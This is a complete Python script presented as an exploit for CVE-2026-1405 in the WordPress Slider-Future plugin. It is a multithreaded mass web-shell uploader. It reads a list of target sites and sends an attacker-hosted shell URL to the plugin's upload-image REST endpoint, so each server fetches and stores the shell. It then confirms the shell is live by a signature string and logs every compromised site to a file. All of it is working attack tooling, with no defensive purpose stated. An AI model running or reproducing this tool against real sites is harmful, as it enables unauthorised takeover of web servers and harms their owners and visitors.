#!/usr/bin/env python3 import os import re import sys import time from concurrent.futures import ThreadPoolExecutor, as_completed import requests import urllib3 from rich.console import Console from rich.theme import Theme from rich.text import Text from rich.progress import Progress, SpinnerColumn, BarColumn, TextColumn, TimeElapsedColumn from datetime import datetime, timezone import json custom_theme = Theme({ "title": "bold bright_cyan", "info": "bright_white", "ok": "bold green", "fail": "bold red", "warn": "bold yellow", "hint": "bright_blue", }) console = Console(theme=custom_theme) urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) os.environ['NO_PROXY'] = '*' USER_AGENT = "NxploitedScanner/1.1 (+https://github.com/Nxploited)" ENDPOINT_PATH = "/wp-json/slider-future/v1/upload-image/" def now_ts(): return datetime.now(timezone.utc).isoformat() def short_reason_from_exception(e): s = str(e) if "Failed to establish a new connection" in s or "getaddrinfo failed" in s: return "NETWORK ERROR" return s def normalize_target(t): t = t.strip() if not t: return None if not t.lower().startswith(("http://", "https://")): t = "http://" + t return t.rstrip("/") def read_targets(path): with open(path, "r", encoding="utf-8", errors="ignore") as f: return [normalize_target(x) for x in f.read().splitlines() if x.strip()] def upload_shell_and_get_response(session, target_url, shell_url): url = target_url + ENDPOINT_PATH data = {"image_url": shell_url} headers = {"User-Agent": USER_AGENT} try: resp = session.post(url, data=data, headers=headers, verify=False, timeout=20) text = resp.text or "" parsed = None try: parsed = resp.json() except Exception: try: parsed = json.loads(text) except Exception: parsed = None upload_ok = False shell_remote_url = None if isinstance(parsed, dict) and "url" in parsed: shell_remote_url = parsed["url"].replace("\\/", "/") upload_ok = shell_remote_url.endswith(os.path.basename(shell_url)) else: m = re.search(r'"url"\s*:\s*"([^"]+)"', text) if m: shell_remote_url = m.group(1).replace("\\/", "/") upload_ok = shell_remote_url.endswith(os.path.basename(shell_url)) return upload_ok, shell_remote_url, text, getattr(resp, "status_code", None) except Exception as e: return False, None, str(e), None def check_remote_shell(session, shell_url, signature): headers = {"User-Agent": USER_AGENT} try: resp = session.get(shell_url, headers=headers, verify=False, timeout=12, allow_redirects=True) status = resp.status_code body = resp.text or "" if status == 200 and (signature in body or not signature): return True, status, shell_url return False, status, shell_url except Exception as e: return False, None, str(e) def worker(target, shell_url, signature): s = requests.Session() s.headers.update({"User-Agent": USER_AGENT}) target = target.rstrip("/") try: upload_ok, remote_shell_url, raw, http_status = upload_shell_and_get_response(s, target, shell_url) if upload_ok and remote_shell_url: found, status, info = check_remote_shell(s, remote_shell_url, signature) if found: return (target, True, f"[bold green]SUCCESS[/bold green] | Shell Verified: {info}") else: return (target, False, f"[bold yellow]Uploaded, not verified:[/bold yellow] {remote_shell_url}") else: candidates = set() m = re.findall(r'"url"\s*:\s*"([^"]+)"', raw) for url in m: url = url.replace("\\/", "/") candidates.add(url) for cand in candidates: found, status, info = check_remote_shell(s, cand, signature) if found: return (target, True, f"[bold green]SUCCESS[/bold green] | Shell Verified: {info}") return (target, False, f"[bold red]Upload failed or shell URL not found.[/bold red] [HTTP {http_status}]") except Exception as e: return (target, False, f"[bold red]Exception:[/bold red] {short_reason_from_exception(e)}") def main(): console.print(Text("Exploit For: CVE-2026-1405", style="title")) console.print(Text("By: Nxploited", style="hint")) console.print(Text("\nWordPress Slider-Future Mass Shell Uploader\n", style="info")) console.print(Text("─────────────────────────────────────────────", style="fail")) targets_file = console.input("[hint]Targets file (one per line): [/hint]").strip() or "list.txt" try: targets = read_targets(targets_file) except Exception as e: console.print(f"[fail]Failed to read targets file: {e}[/fail]") sys.exit(1) if not targets: console.print("[fail]No targets found in the file.[/fail]") sys.exit(1) shell_url = console.input("[hint]Shell direct URL (e.g. http://domain.com/shell.php): [/hint]").strip() if not shell_url.startswith("http://") and not shell_url.startswith("https://"): console.print(f"[fail]Shell URL must start with http or https.[/fail]") sys.exit(1) signature = console.input("[hint]Shell signature (string inside shell to verify): [/hint]").strip() threads_input = console.input("[hint]Threads [default 10]: [/hint]").strip() try: threads = max(1, int(threads_input)) if threads_input else 10 except Exception: threads = 10 console.print(Text("─────────────────────────────────────────────", style="fail")) console.print(f"[info]{len(targets)} targets loaded. Threads: {threads}") console.print(f"[info]Shell URL: {shell_url}") console.print(f"[info]Signature: {signature or '(none)'}\n") results = [] start = time.time() with Progress(SpinnerColumn(), TextColumn("{task.description}"), BarColumn(), TextColumn("{task.completed}/{task.total}"), TimeElapsedColumn(), transient=False, console=console) as progress: task = progress.add_task("[info]Processing targets...[/info]", total=len(targets)) with ThreadPoolExecutor(max_workers=threads) as exe: future_to_target = {exe.submit(worker, t, shell_url, signature): t for t in targets} for fut in as_completed(future_to_target): t = future_to_target[fut] try: target, ok, msg = fut.result() except Exception as e: target = t ok = False msg = f"[bold red]Exception:[/bold red] {e}" ts = now_ts() line = f"{ts} | {target} -> {msg}" if ok: console.print(line) else: console.print(line) results.append((target, ok, msg)) progress.update(task, advance=1) duration = time.time() - start success_count = sum(1 for r in results if r[1]) console.print(Text("─────────────────────────────────────────────", style="fail")) console.print(Text(f"Finished: {success_count}/{len(results)} succeeded in {duration:.1f}s", style="title")) if success_count: with open("success_results.txt", "w", encoding="utf-8") as sf: for t, ok, msg in results: if ok: sf.write(f"{t} | {msg}\n") console.print(f"[info]Saved successes to success_results.txt[/info]") else: console.print("[warn]No successful uploads/verifications. Check target accessibility and shell content.[/warn]") if __name__ == "__main__": try: main() except KeyboardInterrupt: console.print("\n[warn]Interrupted by user[/warn]") sys.exit(0)